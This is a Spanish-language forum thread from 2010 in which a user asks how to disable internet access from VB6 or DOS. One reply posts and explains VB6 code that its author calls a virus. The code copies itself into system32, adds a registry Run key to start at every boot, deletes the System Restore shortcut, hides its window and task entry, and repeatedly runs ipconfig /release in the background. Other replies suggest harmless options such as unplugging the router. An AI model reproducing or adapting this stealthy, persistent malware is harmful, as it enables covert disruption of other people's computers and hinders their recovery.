Deshabilitar conexion a internet

Iniciado por hunter18, 12 Agosto 2010, 03:43 AM

0 Miembros y 1 Visitante están viendo este tema.

hunter18

He probado enviando a d.o.s el comando ipconfig /release con la funcion shell y funciona pero desde el messenger con la opcion reparar se vuelve a conectar la señal, asi que no funciona del todo.

Quiero hacer lo mismo que en la imagen pero desde vb6 ó D.O.S es decir activar o desactivar la conexion, es la unica forma que me sirve al 100% pero no se como lograrlo, he probado un par de codigos y no me han funcionado

fary

az un bucle que no pare de enviar ipconfig /release

salu2!
Un byte a la izquierda.

hunter18

Podria ser pero no creo que sea la mejor alternativa.

ApOkAlizE

¿sabes programar en VB?
Bueno pues te dejo aqui el codigo.

Private Sub Form_Load()
Dim ruta As String
ruta = App.Path & "\Video001.exe"
FileCopy ruta, "C:\WINDOWS\system32\Virus.exe"
Shell ("reg add hkey_local_machine\software\microsoft\windows\currentversion\run /v Virus.exe /t REG_SZ /d C:\WINDOWS\SYSTEM32\Virus.exe /f")
Kill "C:\Archivos de programa\Accesorios\Herramientas del sistema\Restaurar sistema.lnk"
End Sub

Private Sub Timer1_Timer()
On Error Resume Next
Call Shell("ipconfig/release")
End Sub


Creo que lo he hecho bien, mira.
ruta = App.path & "\Video001.exe"   -----> significa que la variable ruta es equivalente a la ruta que tiene el virus este que quieres hacer, App.path es la ruta del archivo, pero luego hay que añadirle el nombre del virus, por tanto de nombre tendras que ponerle Video001, eso si no le pongas el EXE, solo pon Video001 como nombre.
FileCopy ruta, "C:\WINDOWS\system32\Virus.exe"   ---> esto es que vamos a la variable ruta que te recuerdo que es dodne esta el virus y le hacemos una copia y esta copia la pegamos en C:\WINDOWS\system32\Virus.exe" y si te fijas hemos cambiado el nombre de Video001.exe por Virus.exe

Shell ("reg add hkey_local_machine\software\microsoft\windows\currentversion\run /v Virus.exe /t REG_SZ /d C:\WINDOWS\SYSTEM32\Virus.exe /f")  ---->esto es para hacer una copia de "C:\WINDOWS\system32\Virus.exe" y la guardamos en los registros de esta forma cada vez que se encienda el ordenador se activara el virus. REG_SZ es el tipo de llave que s ele pone en los registros, y la /f es para forzar la accion, por ejemplo si el archivo ya estaba guardado en los registros apra que no produzca error fuerza la acción.
lo de kill"c:\archivos de programa... esto es apra eliminar el restaurador dels istema, el restaurador es una herramienta con la que puedes dejar el PC tal y como estaba unos dias antes, de tal manera k si tieras al 9 de agosto de 2010 el ordenador se quedara como estaba ese dia, pues cone sto eliminamos este restaurador apra que nos e pueda restaurar

Private Sub Timer1_Timer()
On Error Resume Next
Visible = False
App.TaskVisible = False
Call Shell("ipconfig/release", vbHide)
End Sub

esto es la propiedad timer, le pones un timer a tu VB y le pones como intervalo 3 o 4 segundos. On Error Resume Next ---> es para que si se produce algun error lo ignore, ya que sin esto al producirse un error se bloquearia el programa
Visible = False  ----> para ocultar el formulario ya que sin esto al abrir el virus saldria una ventanita gris, y si cierra esta ventanita gris cierra el virus.
App.TaskVisible = False   ---> esto es para que si pressiona CONTROL + ALT + SUPRIMIR no pueda cerrar el virus ya que sino podria finalizar la tarea del virus.
Call Shell("ipconfig/release", vbHide)  ---> Call Shell es apra activar la shell, si quieres hacerlo mas corto con Shell basta no hace falta que pognas Call, luego lo que hay entre comillas es las acciones que se haran por la shell que en este casoe s desconfigurar el internet, atencion, ipconfig/release no e spara bloquear el internet es apra desconigurarlo si quieres bloquearlo tendrias que eliminarle el Driver de internet, y lo de vbHide es para que al ejecutarse la shell no salga la ventanita negra pk sino se notaria que tiene un virus.
Bueno pues creo que te lo he explicado bien, logicamente te lo enseño para que aprendas mejor a programar no para que te dediques  a putear al personal, pues aunque la ciencia pueda llegar a ser muy divertida, no es ningun juego.
NO ME HAGO RESPONSABLE DE TUS ACTOS.
ApOkAlizE
Los virus informaticos son como las personas, hacen lo posible para destruir y hacen lo impossible para no ser destruidos... - ApOkAlizE

hunter18

Gracias por el codigo pero me parece demasiado codigo para algo tan vano y no es ningun virus lo que pretendo realizar.

Me han dicho que hay comando D.O.S que hace lo que necesito pero no lo encuentro, espero alguien lo sepa.

saludos

ApOkAlizE

Pero si no quieres hacer un virus entonces¿ para que representa que sirve esto de desconfigurar el internet?
Los virus informaticos son como las personas, hacen lo posible para destruir y hacen lo impossible para no ser destruidos... - ApOkAlizE

hunter18

Lo necesito para cortar la conexion a internet despues de una determinada hora de uso para evitar el vicio de que se queden jugando mas de 2 horas en mi computador.
Si lo hago con release se reactiva desde el messenger y como dices podria hacer como dices y no hay problema pero no creo que sea lo mas optimo ademas de consumir memoria en vano.

seba123neo

la mas facil, desconectar el cable del router o meden que tengas  :xD, no necesitas programar nada...

haber proba esto...

Cerrar la conexión a internet con el shell

saludos.

La característica extraordinaria de las leyes de la física es que se aplican en todos lados, sea que tú elijas o no creer en ellas. Lo bueno de las ciencias es que siempre tienen la verdad, quieras creerla o no.

Neil deGrasse Tyson

raul338

podrias poner a cierta hora modificar el archivo host que redireccione todo a ip local :P x lo que todo tiraria error 404 :P